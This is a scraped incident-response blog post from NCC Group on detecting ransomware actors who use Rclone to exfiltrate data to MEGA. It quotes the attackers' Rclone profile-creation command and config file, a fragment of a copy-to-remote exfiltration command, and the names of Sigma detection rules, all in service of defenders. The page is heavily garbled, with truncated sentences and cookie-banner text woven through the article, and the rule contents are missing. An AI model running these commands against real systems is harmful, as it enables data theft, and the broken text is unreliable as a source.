

Detecting Rclone – An Effective Tool for Exfiltration

27 May 2021

By [Aaron Greetham](#)



◆ Research ◆ Threat Intelligence ◆ Managed Detection & Response

NCC Group's Cyber Incident Response Team (CIRT) have responded to a large number of ransomware cases where frequently the open source tool [Rclone](#) being used for data exfiltration. Rclone provides an easy and effective way of copying data to an array of cloud storage providers. This blog post builds on the work by others [1][2] and provides additional methods of detection, including [Sigma](#) rules to assist with hunting in your own environment.

Frequently Rclone is used with a MEGA.io account to stage the exfiltrated data before it is made available on leak sites. In the case of Conti ransomware there are strong indications that once the data has been uploaded to MEGA it is being copied to another location using [MEGAsync](#). More recently there has been a move away from solely using cloud storage providers and instead VPS hosting is being used as a destination for data exfiltration.

Internal file servers with unfiltered Internet access are common targets and frequently Rclone is left to run for a period of time spanning multiple hours, which provides the actor enough time to exfiltrate a large volume of data. In all cases observed so far, data exfiltration has taken place long before the ransomware is deployed, often days in advance.

Rclone requires a configuration to be created before it can connect to MEGA (or other cloud storage provider) which can be done in one of two ways:

On the command line:



The table below breaks down the command line profile creation.

```
.rclone.exe config create remote mega user [redacted]@outlook.com pass [redacted]
```

The table below breaks down the command line profile creation.

config

create

remote

mega

user

pass

Alternative offering c

```
.rclone
```

Once the


C:\Users\

In a recent study from this

This website makes use of cookies.

This website uses cookies to ensure you get the best experience on our website. Some of these cookies are essential for the site to function, whilst others are useful to help us to analyse our traffic and collect statistics on how and when the site is being used and how it can be improved. We also share information about your use of our site with our analytics partners.

By clicking "Accept All," you consent to the storing of cookies on your device to enhance site navigation, analyse site usage, and assist in measuring the success of our marketing efforts.

Manage your preferences at any time, on the cookie preference tool at the bottom of the screen, or if you want to learn more, please go to our [Cookie policy](#) 

Accept all cookies

Reject all cookies

Necessary cookies

Necessary cookies enable core functionality as you browse our website such as session management and remembering your cookie preferences. The website cannot function properly without these cookies and can only be disabled by changing your browser preferences.

Analytical Cookies

Analytical cookies help us to improve our website by collecting and reporting information on its usage.

Off


```
[remote]
type = mega
user = [redacted]@outlook.com
pass = [redacted]
```

Once the
In exampl
drives an

This website makes use of cookies.

This website uses cookies to ensure you get the best experience on our website. Some of these cookies are essential for the site to function, whilst others are useful to help us to analyse our traffic and collect statistics on how and when the site is being used and how it can be improved. We also share information about your use of our site with our analytics partners.

By clicking "Accept All," you consent to the storing of cookies on your device to enhance site navigation, analyse site usage, and assist in measuring the success of our marketing efforts.

Manage your preferences at any time, on the cookie preference tool at the bottom of the screen, or if you want to learn more, please go to our [Cookie policy](#) 

ie data.
ared

.rcclone

copy

E:

remote

data

Once the
userstor
typically i
MEGA is i
which can

Necessary cookies

Necessary cookies enable core functionality as you browse our website such as session management and remembering your cookie preferences. The website cannot function properly without these cookies and can only be disabled by changing your browser preferences.

ains
. Where
ess

In some c
recent ca
directory

Analytical Cookies

Analytical cookies help us to improve our website by collecting and reporting information on its usage.



ion. A
it in the

Sigma Rules


The following Sigma rules has been created to aid in the detection of Rclone.

Rclone Execution via Command Line or PowerShell	This rule detects the execution of Rclone.
Rclone config file creation	This Sigma rule will detect the creation of the Rclone configuration file. The Sysmon configuration must include the following for the FileCreate rule group.
DNS QMEGA. Domain	

This website makes use of cookies.

This website uses cookies to ensure you get the best experience on our website. Some of these cookies are essential for the site to function, whilst others are useful to help us to analyse our traffic and collect statistics on how and when the site is being used and how it can be improved. We also share information about your use of our site with our analytics partners.

By clicking "Accept All," you consent to the storing of cookies on your device to enhance site navigation, analyse site usage, and assist in measuring the success of our marketing efforts.

Manage your preferences at any time, on the cookie preference tool at the bottom of the screen, or if you want to learn more, please go to our [Cookie policy](#) 

Necessary cookies

Necessary cookies enable core functionality as you browse our website such as session management and remembering your cookie preferences. The website cannot function properly without these cookies and can only be disabled by changing your browser preferences.

Analytical Cookies

Off

Analytical cookies help us to improve our website by collecting and reporting information on its usage.



Privacy Policy

Contact Us

Consulting & Implementation

Managed Services

Incident Response

Threat Intelligence

24/7 Incident Response Hotline

+1-(855)-684-1212


or cirt@nccgroup.com

© NCC Group

This website makes use of cookies.

This website uses cookies to ensure you get the best experience on our website. Some of these cookies are essential for the site to function, whilst others are useful to help us to analyse our traffic and collect statistics on how and when the site is being used and how it can be improved. We also share information about your use of our site with our analytics partners.

By clicking "Accept All," you consent to the storing of cookies on your device to enhance site navigation, analyse site usage, and assist in measuring the success of our marketing efforts.

Manage your preferences at any time, on the cookie preference tool at the bottom of the screen, or if you want to learn more, please go to our [Cookie policy](#) 

Necessary cookies

Necessary cookies enable core functionality as you browse our website such as session management and remembering your cookie preferences. The website cannot function properly without these cookies and can only be disabled by changing your browser preferences.

Analytical Cookies



Analytical cookies help us to improve our website by collecting and reporting information on its usage.